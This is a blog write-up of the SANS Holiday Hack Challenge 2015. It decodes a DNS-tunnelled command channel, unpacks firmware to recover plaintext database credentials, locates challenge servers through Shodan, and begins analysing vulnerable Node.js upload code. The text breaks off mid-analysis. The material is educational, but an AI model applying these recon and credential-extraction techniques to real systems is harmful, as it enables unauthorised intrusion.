In December 2015, the SANS institute released the Holiday Hack Challenge 2015. A whole storyline was created around the ATNAS corporation and their nefarious plans for Christmas.

The hack challenge featured a gaming component, the quest, where you were placed in the Dosis neighborhood. During the quest you are asked to solve hacking challenges and attack real (approved) targets.

Creating a whole game around this must have taken a lot of time. Kudos to the developers and people who made this possible. Without further ado, I would like to share what I found during the quest!

Part 1: Dance of the Sugar Gnome Fairies: Curious Wireless Packets

In the Dosis neighbourhood we talk to Josh who asks us to take a look at the network capture file giyh-capture.pcap. After taking a quick look through the pcap file with Wireshark, we notice that a lot of DNS packets are present. In Wireshark we can get a protocol breakdown via the Statistics > Protocol Hierarchy menu:

The DNS packets seem to be all TXT requests. DNS TXT “text” records are used to associate extra information with a host. One of TXT records’ best known uses is the setting of SPF records for preventing mail spoofing. TXT records have many other uses: for example, if you are enrolling a domain in Google Apps, Google will ask you to set a specific TXT record in order to verify that you are the actual owner of the domain.

In this case, the DNS TXT records seem to be used as a covert way of transfering data. This is a common technique: many TCP-over-DNS tools exist that allow you to tunnel traffic via DNS requests. This is extremely helpful in situations where your internet connection is restricted (e.g. paid Wi-Fi hotspots) but DNS is still working. During my studies in France I was using a tool called tcp-over-dns for accomplishing this. The more popular alternative seems to be iodine nowadays 🙂

If we take a closer look into the contents of the TXT records, we can see data that appears to be base64-encoded. We can use tshark , the command-line version of Wireshark to extract the data and base64-decode all the records. I invoke tshark with a display filter on DNS packets and extract the TXT fields. I then pipe each line of the output to the base64-decode command.

tshark base64 decoded DNS traffic $ tshark -Y dns -T fields -e dns.txt -r giyh-capture.pcap | while read txt; do echo $txt | base64 -d; done NONE:NONE:NONE:NONE:NONE:NONE:NONE:EXEC:iwconfig EXEC:START_STATEEXEC:wlan0 IEEE 802.11abgn ESSID:"DosisHome-Guest" EXEC: Mode:Managed Frequency:2.412 GHz Cell: 7A:B3:B6:5E:A4:3F EXEC: Tx-Power=20 dBm EXEC: Retry short limit:7 RTS thr:off Fragment thr:off EXEC: Encryption key:off EXEC: Power Management:off EXEC: EXEC:lo no wireless extensions. EXEC: EXEC:eth0 no wireless extensions. EXEC:STOP_STATENONE:NONE:NONE:EXEC:cat /tmp/iwlistscan.txt EXEC:START_STATEEXEC:wlan0 Scan completed : EXEC: Cell 01 - Address: 00:7F:28:35:9A:C7 EXEC: Channel:1 EXEC: Frequency:2.412 GHz (Channel 1) EXEC: Quality=29/70 Signal level=-81 dBm EXEC: Encryption key:on EXEC: ESSID:"CHC" EXEC: Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s EXEC: 9 Mb/s; 12 Mb/s; 18 Mb/s EXEC: Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s EXEC: Mode:Master EXEC: Extra:tsf=000000412e67cddf EXEC: Extra: Last beacon: 5408ms ago EXEC: IE: Unknown: 00055837335A36 EXEC: IE: Unknown: 010882848B960C121824 EXEC: IE: Unknown: 030101 EXEC: IE: Unknown: 200100 EXEC: IE: IEEE 802.11i/WPA2 Version 1 EXEC: Group Cipher : CCMP EXEC: Pairwise Ciphers (1) : CCMP EXEC: Authentication Suites (1) : PSK EXEC: IE: Unknown: 2A0100 EXEC: IE: Unknown: 32043048606C EXEC: IE: Unknown: DD180050F2020101040003A4000027A4000042435E0062322F00 EXEC: IE: Unknown: 2D1A8C131BFFFF000000000000000000000000000000000000000000 EXEC: IE: Unknown: 3D1601080800000000000000000000000000000000000000 EXEC: IE: Unknown: DD0900037F01010000FF7F EXEC: IE: Unknown: DD0A00037F04010000000000 EXEC: IE: Unknown: 0706555320010B1B EXEC: Cell 02 - Address: 48:5D:36:08:68:DC EXEC: Channel:6 EXEC: Frequency:2.412 GHz (Channel 1) EXEC: Quality=59/70 Signal level=-51 dBm EXEC: Encryption key:on EXEC: ESSID:"DosisHome" EXEC: Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s EXEC: 24 Mb/s; 36 Mb/s; 54 Mb/s EXEC: Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s EXEC: Mode:Master EXEC: Extra:tsf=00000021701d828b EXEC: Extra: Last beacon: 4532ms ago EXEC: IE: Unknown: 000F736F6D657468696E67636C65766572 EXEC: IE: Unknown: 010882848B962430486C EXEC: IE: Unknown: 030106 EXEC: IE: Unknown: 0706555320010B1E EXEC: IE: Unknown: 2A0100 EXEC: IE: Unknown: 2F0100 EXEC: IE: IEEE 802.11i/WPA2 Version 1 EXEC: Group Cipher : CCMP EXEC: Pairwise Ciphers (1) : CCMP EXEC: Authentication Suites (1) : PSK EXEC: Cell 03 - Address: 48:5D:36:08:68:DD EXEC: Channel:6 EXEC: Frequency:2.412 GHz (Channel 1) EXEC: Quality=62/70 Signal level=-49 dBm EXEC: Encryption key:off EXEC: ESSID:"DosisHome-Guest" EXEC: Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s EXEC: 24 Mb/s; 36 Mb/s; 54 Mb/s EXEC: Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s EXEC: Mode:Master EXEC: Extra:tsf=00000021701d8913 EXEC: Extra: Last beacon: 5936ms ago EXEC: IE: Unknown: 000F736F6D657468696E67636C65766572 EXEC: IE: Unknown: 010882848B962430486C EXEC: IE: Unknown: 030106 EXEC: IE: Unknown: 0706555320010B1E EXEC: IE: Unknown: 2A0100 EXEC: IE: Unknown: 2F0100 EXEC:STOP_STATENONE:NONE:NONE:NONE:FILE:/root/Pictures/snapshot_CURRENT.jpg FILE:START_STATE,NAME=/root/Pictures/snapshot_CURRENT.jpgFILE: ----binary snipped---- 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 $ tshark -Y dns -T fields -e dns.txt -r giyh-capture.pcap | while read txt; do echo $txt | base64 -d; done NONE:NONE:NONE:NONE:NONE:NONE:NONE:EXEC:iwconfig EXEC:START_STATEEXEC:wlan0 IEEE 802.11abgn ESSID:"DosisHome-Guest" EXEC: Mode:Managed Frequency:2.412 GHz Cell: 7A:B3:B6:5E:A4:3F EXEC: Tx-Power=20 dBm EXEC: Retry short limit:7 RTS thr:off Fragment thr:off EXEC: Encryption key:off EXEC: Power Management:off EXEC: EXEC:lo no wireless extensions. EXEC: EXEC:eth0 no wireless extensions. EXEC:STOP_STATENONE:NONE:NONE:EXEC:cat /tmp/iwlistscan.txt EXEC:START_STATEEXEC:wlan0 Scan completed : EXEC: Cell 01 - Address: 00:7F:28:35:9A:C7 EXEC: Channel:1 EXEC: Frequency:2.412 GHz (Channel 1) EXEC: Quality=29/70 Signal level=-81 dBm EXEC: Encryption key:on EXEC: ESSID:"CHC" EXEC: Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s EXEC: 9 Mb/s; 12 Mb/s; 18 Mb/s EXEC: Bit Rates:24 Mb/s; 36 Mb/s; 48 Mb/s; 54 Mb/s EXEC: Mode:Master EXEC: Extra:tsf=000000412e67cddf EXEC: Extra: Last beacon: 5408ms ago EXEC: IE: Unknown: 00055837335A36 EXEC: IE: Unknown: 010882848B960C121824 EXEC: IE: Unknown: 030101 EXEC: IE: Unknown: 200100 EXEC: IE: IEEE 802.11i/WPA2 Version 1 EXEC: Group Cipher : CCMP EXEC: Pairwise Ciphers (1) : CCMP EXEC: Authentication Suites (1) : PSK EXEC: IE: Unknown: 2A0100 EXEC: IE: Unknown: 32043048606C EXEC: IE: Unknown: DD180050F2020101040003A4000027A4000042435E0062322F00 EXEC: IE: Unknown: 2D1A8C131BFFFF000000000000000000000000000000000000000000 EXEC: IE: Unknown: 3D1601080800000000000000000000000000000000000000 EXEC: IE: Unknown: DD0900037F01010000FF7F EXEC: IE: Unknown: DD0A00037F04010000000000 EXEC: IE: Unknown: 0706555320010B1B EXEC: Cell 02 - Address: 48:5D:36:08:68:DC EXEC: Channel:6 EXEC: Frequency:2.412 GHz (Channel 1) EXEC: Quality=59/70 Signal level=-51 dBm EXEC: Encryption key:on EXEC: ESSID:"DosisHome" EXEC: Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s EXEC: 24 Mb/s; 36 Mb/s; 54 Mb/s EXEC: Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s EXEC: Mode:Master EXEC: Extra:tsf=00000021701d828b EXEC: Extra: Last beacon: 4532ms ago EXEC: IE: Unknown: 000F736F6D657468696E67636C65766572 EXEC: IE: Unknown: 010882848B962430486C EXEC: IE: Unknown: 030106 EXEC: IE: Unknown: 0706555320010B1E EXEC: IE: Unknown: 2A0100 EXEC: IE: Unknown: 2F0100 EXEC: IE: IEEE 802.11i/WPA2 Version 1 EXEC: Group Cipher : CCMP EXEC: Pairwise Ciphers (1) : CCMP EXEC: Authentication Suites (1) : PSK EXEC: Cell 03 - Address: 48:5D:36:08:68:DD EXEC: Channel:6 EXEC: Frequency:2.412 GHz (Channel 1) EXEC: Quality=62/70 Signal level=-49 dBm EXEC: Encryption key:off EXEC: ESSID:"DosisHome-Guest" EXEC: Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s EXEC: 24 Mb/s; 36 Mb/s; 54 Mb/s EXEC: Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 48 Mb/s EXEC: Mode:Master EXEC: Extra:tsf=00000021701d8913 EXEC: Extra: Last beacon: 5936ms ago EXEC: IE: Unknown: 000F736F6D657468696E67636C65766572 EXEC: IE: Unknown: 010882848B962430486C EXEC: IE: Unknown: 030106 EXEC: IE: Unknown: 0706555320010B1E EXEC: IE: Unknown: 2A0100 EXEC: IE: Unknown: 2F0100 EXEC:STOP_STATENONE:NONE:NONE:NONE:FILE:/root/Pictures/snapshot_CURRENT.jpg FILE:START_STATE,NAME=/root/Pictures/snapshot_CURRENT.jpgFILE: ----binary snipped----

We can now clearly spot the UNIX commands from the output. If we scroll a bit further down, we run into a blob of binary. I replaced all non-printable characters with a dot using the tr command. It appears that the JPEG file /root/Pictures/snapshot_CURRENT.jpg is being transfered.

Seems like the file is split over multiple DNS packets and we’ll have to strip out the “FILE:” markers. I proceed by piping the output to the foremost tool, which will try to carve JPEG files from the input stream. (Not that it would be a lot of effort doing it manually, but a good hacker should be lazy.) You can also do this with binwalk .

$ cat extracted | sed 's/FILE://g' | foremost -T -t jpeg -v -o /tmp/jpg Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus Audit File Foremost started at Fri Jan 1 20:26:51 2016 Invocation: foremost -T -t jpeg -v -o /tmp/jpg Output directory: /tmp/jpg_Fri_Jan__1_20_26_51_2016 Configuration file: Processing: stdin |------------------------------------------------------------------ File: stdin Start: Fri Jan 1 20:26:51 2016 Length: Unknown Num Name (bs=512) Size File Offset Comment 0: 00000008.jpg 91 KB 4480 *| 1 FILES EXTRACTED jpg:= 1 ------------------------------------------------------------------ Foremost finished at Fri Jan 1 20:26:51 2016 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $ cat extracted | sed 's/FILE://g' | foremost -T -t jpeg -v -o /tmp/jpg Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus Audit File Foremost started at Fri Jan 1 20:26:51 2016 Invocation: foremost -T -t jpeg -v -o /tmp/jpg Output directory: /tmp/jpg_Fri_Jan__1_20_26_51_2016 Configuration file: Processing: stdin |------------------------------------------------------------------ File: stdin Start: Fri Jan 1 20:26:51 2016 Length: Unknown Num Name (bs=512) Size File Offset Comment 0: 00000008.jpg 91 KB 4480 *| 1 FILES EXTRACTED jpg:= 1 ------------------------------------------------------------------ Foremost finished at Fri Jan 1 20:26:51 2016

The result is the following gnome, captioned “GnomeNET-NorthAmerica”. This answer is accepted by Josh.

Now to answer the questions:

Which commands are sent across the Gnome’s command-and-control channel? iwconfig

cat /tmp/iwlistscan.txt What image appears in the photo the Gnome sent across the channel from the Dosis home? A gnome on a chair in a room. The image seems to be taken from the eye of the gnome, where the camera would be hidden. The camera image is captioned “GnomeNET-NorthAmerica”.





Part 2: I’ll be Gnome for Christmas: Firmware Analysis for Fun and Profit

From Jessica we obtain the Gnome firmware image giyh-firmware-dump.bin.

For this, we can use firmware-mod-kit. This toolkit allows you to unpack many firmware images. I noticed it hasn’t been updated in a while now. It basically does a binwalk on the image and then extracts the relevant parts, invoking extra tools (such as unsquashfs ) where needed.

Simply run the extract-firmware.sh script on the firmware image:

firmware-mod-kit $ ./extract-firmware.sh giyh-firmware-dump.bin Scanning firmware... Scan Time: 2016-01-01 20:06:43 Signatures: 193 Target File: /home/pen/Documents/hhc/firmware-mod-kit-master/giyh-firmware-dump.bin MD5 Checksum: c8dbb1832250f6bb957a901d186f3355 DECIMAL HEX DESCRIPTION ------------------------------------------------------------------------------------------------------- 0 0x0 PEM certificate 1809 0x711 ELF 32-bit LSB shared object, ARM, version 1 (SYSV) 167521 0x28E61 LZMA compressed data, properties: 0x0B, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes 168157 0x290DD LZMA compressed data, properties: 0x01, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes 168803 0x29363 Squashfs filesystem, little endian, version 4.0, compression: gzip, size: 17376149 bytes, 4866 inodes, blocksize: 131072 bytes, created: Tue Dec 8 19:47:32 2015 Extracting 168803 bytes of pem header image at offset 0 Extracting squashfs file system at offset 168803 Extracting 2720 byte footer from offset 17546020 Extracting squashfs files... Firmware extraction successful! Firmware parts can be found in '/home/pen/Documents/hhc/firmware-mod-kit-master/fmk/*' 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $ ./extract-firmware.sh giyh-firmware-dump.bin Scanning firmware... Scan Time: 2016-01-01 20:06:43 Signatures: 193 Target File: /home/pen/Documents/hhc/firmware-mod-kit-master/giyh-firmware-dump.bin MD5 Checksum: c8dbb1832250f6bb957a901d186f3355 DECIMAL HEX DESCRIPTION ------------------------------------------------------------------------------------------------------- 0 0x0 PEM certificate 1809 0x711 ELF 32-bit LSB shared object, ARM, version 1 (SYSV) 167521 0x28E61 LZMA compressed data, properties: 0x0B, dictionary size: 16777216 bytes, uncompressed size: 100663296 bytes 168157 0x290DD LZMA compressed data, properties: 0x01, dictionary size: 16777216 bytes, uncompressed size: 50331648 bytes 168803 0x29363 Squashfs filesystem, little endian, version 4.0, compression: gzip, size: 17376149 bytes, 4866 inodes, blocksize: 131072 bytes, created: Tue Dec 8 19:47:32 2015 Extracting 168803 bytes of pem header image at offset 0 Extracting squashfs file system at offset 168803 Extracting 2720 byte footer from offset 17546020 Extracting squashfs files... Firmware extraction successful! Firmware parts can be found in '/home/pen/Documents/hhc/firmware-mod-kit-master/fmk/*'

Having a look into the extracted file system, we see the usual Linux file system. Based on the etc/openwrt_* files, it looks like this is a modified OpenWRT firmware image. Furthermore, based on the output of the file command on a binary, we can see that the code was compiled for the ARM architecture.

$ cat etc/openwrt_* DISTRIB_ID='OpenWrt' DISTRIB_RELEASE='Bleeding Edge' DISTRIB_REVISION='r47650' DISTRIB_CODENAME='designated_driver' DISTRIB_TARGET='realview/generic' DISTRIB_DESCRIPTION='OpenWrt Designated Driver r47650' DISTRIB_TAINTS='' r47650 $ file bin/ash bin/ash: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped $ find . -type f -newermt "2015-11-29" | grep -v "rc\.d" ./usr/sbin/autowlan ./usr/bin/sgstatd ./etc/hosts ./etc/init.d/autowlan ./etc/gnome.conf ./www/bin/www ./www/views/layout.jade ./www/views/files.jade ./www/views/cameras.jade ./www/views/login.jade ./www/views/error.jade ./www/views/gnomenet.jade ./www/views/index.jade ./www/views/settings.jade ./www/views/network.jade ./www/routes/index.js ./www/package.json ./www/public/javascripts/bootstrap.min.js ./www/public/javascripts/jquery.min.js ./www/public/stylesheets/bootstrap.min.css ./www/public/stylesheets/bootstrap-theme.min.css ./www/public/stylesheets/style.css ./www/public/favicon.ico ./www/app.js ./opt/mongodb/local.ns ./opt/mongodb/local.0 ./opt/mongodb/gnome.ns ./opt/mongodb/gnome.0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 $ cat etc/openwrt_* DISTRIB_ID='OpenWrt' DISTRIB_RELEASE='Bleeding Edge' DISTRIB_REVISION='r47650' DISTRIB_CODENAME='designated_driver' DISTRIB_TARGET='realview/generic' DISTRIB_DESCRIPTION='OpenWrt Designated Driver r47650' DISTRIB_TAINTS='' r47650 $ file bin/ash bin/ash: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped $ find . -type f -newermt "2015-11-29" | grep -v "rc\.d" ./usr/sbin/autowlan ./usr/bin/sgstatd ./etc/hosts ./etc/init.d/autowlan ./etc/gnome.conf ./www/bin/www ./www/views/layout.jade ./www/views/files.jade ./www/views/cameras.jade ./www/views/login.jade ./www/views/error.jade ./www/views/gnomenet.jade ./www/views/index.jade ./www/views/settings.jade ./www/views/network.jade ./www/routes/index.js ./www/package.json ./www/public/javascripts/bootstrap.min.js ./www/public/javascripts/jquery.min.js ./www/public/stylesheets/bootstrap.min.css ./www/public/stylesheets/bootstrap-theme.min.css ./www/public/stylesheets/style.css ./www/public/favicon.ico ./www/app.js ./opt/mongodb/local.ns ./opt/mongodb/local.0 ./opt/mongodb/gnome.ns ./opt/mongodb/gnome.0

Looking around the files that have been changed recently, we can distinguish the following items:

/usr/bin/sgstatd , a binary which we will look at more in-depth later

, a binary which we will look at more in-depth later /etc/hosts , containing the following entry 52.2.229.189 supergnome1.atnascorp.com sg1.atnascorp.com supergnome.atnascorp.com sg.atnascorp.com

, containing the following entry /etc/gnome.conf , containing the configuration for a Gnome running this firmware

, containing the configuration for a Gnome running this firmware /www/ , NodeJS files, including Jade layout files and the /www/routes/index.js containing the controller logic

, NodeJS files, including Jade layout files and the /www/routes/index.js containing the controller logic /opt/mongodb/ , MongoDB database files

In www/package.json we can see that the node command can be used to run the website. Let’s have a look at the contents of www/app.js . This file contains the startup code of the NodeJS app.

www/app.js var express = require('express'); var path = require('path'); var favicon = require('serve-favicon'); var logger = require('morgan'); var cookieParser = require('cookie-parser'); var bodyParser = require('body-parser'); var routes = require('./routes/index'); var mongo = require('mongodb'); var monk = require('monk'); var db = monk('gnome:KTt9C1SljNKDiobKKro926frc@localhost:27017/gnome') var app = express(); // view engine setup app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'jade'); // -- snipped-- 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 var express = require ( 'express' ) ; var path = require ( 'path' ) ; var favicon = require ( 'serve-favicon' ) ; var logger = require ( 'morgan' ) ; var cookieParser = require ( 'cookie-parser' ) ; var bodyParser = require ( 'body-parser' ) ; var routes = require ( './routes/index' ) ; var mongo = require ( 'mongodb' ) ; var monk = require ( 'monk' ) ; var db = monk ( 'gnome:KTt9C1SljNKDiobKKro926frc@localhost:27017/gnome' ) var app = express ( ) ; // view engine setup app . set ( 'views' , path . join ( __dirname , 'views' ) ) ; app . set ( 'view engine' , 'jade' ) ; // -- snipped--

From this file we can deduce the following information about the web application:

MongoDB is the underlying database

Monk is used as a mongodb abstraction layer

The MongoDB database username “gnome” and password “KTt9C1SljNKDiobKKro926frc”

Express is used as the web application framework

Jade is used as the template engine

Now let’s see what we can find in the database files in opt/mongodb by starting the mongodb daemon using a different dbpath: mongod --dbpath=opt/mongodb .

Using the mongo client we can then view the contents of the database:

Mongo database $ mongo MongoDB shell version: 2.4.9 connecting to: test > show dbs; gnome 0.078125GB local 0.078125GB > use gnome; switched to db gnome > show collections; cameras settings status system.indexes users > db.cameras.find({}, {_id:0}) { "cameraid" : 1, "tz" : -5, "status" : "online" } { "cameraid" : 2, "tz" : 5, "status" : "online" } { "cameraid" : 3, "tz" : -5, "status" : "online" } { "cameraid" : 4, "tz" : -5, "status" : "online" } { "cameraid" : 5, "tz" : -8, "status" : "online" } { "cameraid" : 6, "tz" : 9, "status" : "online" } { "cameraid" : 7, "tz" : -5, "status" : "online" } { "cameraid" : 9, "tz" : -4, "status" : "online" } { "cameraid" : 8, "tz" : -6, "status" : "online" } { "cameraid" : 10, "tz" : -5, "status" : "online" } { "cameraid" : 11, "tz" : 6, "status" : "online" } { "cameraid" : 12, "tz" : 7, "status" : "online" } > db.settings.find({}, {_id:0}) { "setting" : "Current config file:", "value" : "./tmp/e31faee/cfg/sg.01.v1339.cfg" } { "setting" : "Allow new subordinates?:", "value" : "YES" } { "setting" : "Camera monitoring?:", "value" : "YES" } { "setting" : "Audio monitoring?:", "value" : "YES" } { "setting" : "Camera update rate:", "value" : "60min" } { "setting" : "Gnome mode:", "value" : "SuperGnome" } { "setting" : "Gnome name:", "value" : "SG-01" } { "setting" : "Allow file uploads?:", "value" : "YES" } { "setting" : "Allowed file formats:", "value" : ".png" } { "setting" : "Allowed file size:", "value" : "512kb" } { "setting" : "Files directory:", "value" : "/gnome/1/files/" } > db.status.find({}, {_id:0}) { "sg-avail" : 5, "sg-up" : 5, "gnomes-avail" : 1733315, "gnomes-up" : 1653325, "backbone" : "UP", "storage" : 1353235, "memory" : 835325, "last-update" : 1447170332 } { "sg-avail" : 5, "sg-up" : 5, "gnomes-avail" : 1733315, "gnomes-up" : 1653325, "backbone" : "UP", "storage" : 1353235, "memory" : 835325, "last-update" : 1447170395 } > db.users.find({}, {_id:0}) { "username" : "user", "password" : "user", "user_level" : 10 } { "username" : "admin", "password" : "SittingOnAShelf", "user_level" : 100 } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 $ mongo MongoDB shell version: 2.4.9 connecting to: test > show dbs; gnome 0.078125GB local 0.078125GB > use gnome; switched to db gnome > show collections; cameras settings status system.indexes users > db.cameras.find({}, {_id:0}) { "cameraid" : 1, "tz" : -5, "status" : "online" } { "cameraid" : 2, "tz" : 5, "status" : "online" } { "cameraid" : 3, "tz" : -5, "status" : "online" } { "cameraid" : 4, "tz" : -5, "status" : "online" } { "cameraid" : 5, "tz" : -8, "status" : "online" } { "cameraid" : 6, "tz" : 9, "status" : "online" } { "cameraid" : 7, "tz" : -5, "status" : "online" } { "cameraid" : 9, "tz" : -4, "status" : "online" } { "cameraid" : 8, "tz" : -6, "status" : "online" } { "cameraid" : 10, "tz" : -5, "status" : "online" } { "cameraid" : 11, "tz" : 6, "status" : "online" } { "cameraid" : 12, "tz" : 7, "status" : "online" } > db.settings.find({}, {_id:0}) { "setting" : "Current config file:", "value" : "./tmp/e31faee/cfg/sg.01.v1339.cfg" } { "setting" : "Allow new subordinates?:", "value" : "YES" } { "setting" : "Camera monitoring?:", "value" : "YES" } { "setting" : "Audio monitoring?:", "value" : "YES" } { "setting" : "Camera update rate:", "value" : "60min" } { "setting" : "Gnome mode:", "value" : "SuperGnome" } { "setting" : "Gnome name:", "value" : "SG-01" } { "setting" : "Allow file uploads?:", "value" : "YES" } { "setting" : "Allowed file formats:", "value" : ".png" } { "setting" : "Allowed file size:", "value" : "512kb" } { "setting" : "Files directory:", "value" : "/gnome/1/files/" } > db.status.find({}, {_id:0}) { "sg-avail" : 5, "sg-up" : 5, "gnomes-avail" : 1733315, "gnomes-up" : 1653325, "backbone" : "UP", "storage" : 1353235, "memory" : 835325, "last-update" : 1447170332 } { "sg-avail" : 5, "sg-up" : 5, "gnomes-avail" : 1733315, "gnomes-up" : 1653325, "backbone" : "UP", "storage" : 1353235, "memory" : 835325, "last-update" : 1447170395 } > db.users.find({}, {_id:0}) { "username" : "user", "password" : "user", "user_level" : 10 } { "username" : "admin", "password" : "SittingOnAShelf", "user_level" : 100 }

From the users collection we can identify two users, “user” and “admin” with their passwords in plaintext.

Now to answer some more questions:

What operating system and CPU type are used in the Gnome? What type of web framework is the Gnome web interface built in? OpenWRT, using an ARM CPU

A NodeJS website that uses the ExpressJS web framework What kind of a database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database? MongoDB

User “admin” with password “SittingOnAShelf”





Part 3: Let it Gnome! Let it Gnome! Let it Gnome! Internet-Wide Scavenger Hunt

In the etc/hosts file we found the IP address 52.2.229.189. When asking the Great and Powerful Oracle, Tom Hessman, whether we can attack this IP, we get an approval! There are five SuperGnomes that we need to find. The hint given for part 3 is to “sho Dan” our plan. This intentional typo points us to the usage of Shodan.

Looking up the IP address on Shodan, we can see the header X-Powered-By: GIYH::SuperGnome by AtnasCorp . Let’s use the contents of this header to search for other SuperGnomes on the Internet. Using “GIYH::SuperGnome” as the search query, we find all five SuperGnomes. Their location is also indicated by Shodan:

Name IP address Location SG-01 52.2.229.189 United States, Ashburn SG-02 52.34.3.80 United States, Boardman SG-03 52.64.191.71 Australia, Sydney SG-04 52.192.152.132 Japan, Tokyo SG-05 54.233.105.81 Brazil

The table above answers the following questions:

What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis neighborhood? Where is each SuperGnome located geographically?





Part 4: There’s No Place Like Gnome for the Holidays: Gnomage Pwnage

The firmware image that we extracted earlier contains various vulnerabilities. Quoting the challenge: each SuperGnome has at least one flaw that can be identified by analysing the Gnome firmware and each SuperGnome is exploitable in a different way from the other SuperGnomes.

For each SuperGnome, I will try to solve the following questions:

Please describe the vulnerabilities you discovered in the Gnome firmware. Attempt to remotely exploit each of the SuperGnomes. Describe the technique you used to gain access to each SuperGnome’s gnome.conf file.





SG-01 IP: 52.2.229.189

When surfing to the SuperGnome’s web interface we can authenticate using the earlier identified credentials admin/SittingOnAShelf.

From the Files tab, we can access the following files:

The goal was to retrieve the gnome.conf for each SuperGnome. For SG-01 we don’t need to anything special and can just download it. We’ll revisit some of the other files in later stages. The vulnerability in this case could be seen as passwords being stored in plaintext in the MongoDB database.

SG-01 gnome.conf Gnome Serial Number: NCC1701 Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg Allow new subordinates?: YES Camera monitoring?: YES Audio monitoring?: YES Camera update rate: 60min Gnome mode: SuperGnome Gnome name: SG-01 Allow file uploads?: YES Allowed file formats: .png Allowed file size: 512kb Files directory: /gnome/www/files/ 1 2 3 4 5 6 7 8 9 10 11 12 Gnome Serial Number: NCC1701 Current config file: ./tmp/e31faee/cfg/sg.01.v1339.cfg Allow new subordinates?: YES Camera monitoring?: YES Audio monitoring?: YES Camera update rate: 60min Gnome mode: SuperGnome Gnome name: SG-01 Allow file uploads?: YES Allowed file formats: .png Allowed file size: 512kb Files directory: /gnome/www/files/

The serial number is a Star Trek reference to the USS Enterprise NCC1701.

SG-02 IP: 52.34.3.80

We can again authenticate using the same administrative credentials. This time however, when attempting to download files from the Files tab, we get the error message “Downloading disabled by Super-Gnome administrator”:

In the Settings tab, an upload function is now available.

The settings upload functionality is implemented with the following code in routes/index.js which we pulled from the firmware image:

Settings upload // SETTINGS UPLOAD router.post('/settings', function(req, res, next) { if (sessions[sessionid].logged_in === true && sessions[sessionid].user_level > 99) { // AUGGIE: settings upload allowed for admins (admins are 100, currently) var filen = req.body.filen; var dirname = '/gnome/www/public/upload/' + newdir() + '/' + filen; var msgs = []; var free = 0; disk.check('/', function(e, info) { free = info.free; }); try { fs.mknewdir(dirname.substr(0,dirname.lastIndexOf('/'))); msgs.push('Dir ' + dirname.substr(0,dirname.lastIndexOf('/')) + '/ created successfully!'); } catch(e) { if (e.code != 'EEXIST') throw e; } if (free < 99999999999) { // AUGGIE: I think this is breaking uploads? Stuart why did you set this so high? msgs.push('Insufficient space! File creation error!'); } res.msgs = msgs; next(); } else res.render('index', { title: 'GIYH::ADMIN PORT V.01', session: sessions[sessionid], res: res }); }); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 // SETTINGS UPLOAD router . post ( '/settings' , function ( req , res , next ) { if ( sessions [ sessionid ] . logged_in === true && sessions [ sessionid ] . user_level > 99 ) { // AUGGIE: settings upload allowed for admins (admins are 100, currently) var filen = req . body . filen ; var dirname = '/gnome/www/public/upload/' + newdir ( ) + '/' + filen ; var msgs = [ ] ; var free = 0 ; disk . check ( '/' , function ( e , info ) { free = info . free ; } ) ; try { fs . mknewdir ( dirname . substr ( 0 , dirname . lastIndexOf ( '/' ) ) ) ; msgs . push ( 'Dir ' + dirname . substr ( 0 , dirname . lastIndexOf ( '/' ) ) + '/ created successfully!' ) ; } catch ( e ) { if ( e . code != 'EEXIST' ) throw e ; } if ( free < 99999999999 ) { // AUGGIE: I think this is breaking uploads? Stuart why did you set this so high? msgs . push ( 'Insufficient space! File creation error!' ) ; } res . msgs = msgs ; next ( ) ; } else res . render ( 'index' , { title : 'GIYH::ADMIN PORT V.01' , session : sessions [ sessionid ] , res : res } ) ; } ) ;

If we’re an admin, a new directory will be created that will look like /gnome/www/public/upload/{RANDOM}/{filen}/ , where filen is our POST body parameter. This allows us to create arbitrarily named directories. However, this vulnerability on its own is not enough to do something useful. Let’s keep looking.

In the cameras tab, we can see images of the gnomes sending captures to our SuperGnome.

I noticed that when adding .png to the end of the camera parameter, the camera image is still correctly displayed. Here’s the code for the camera image viewing in routes/index.js :

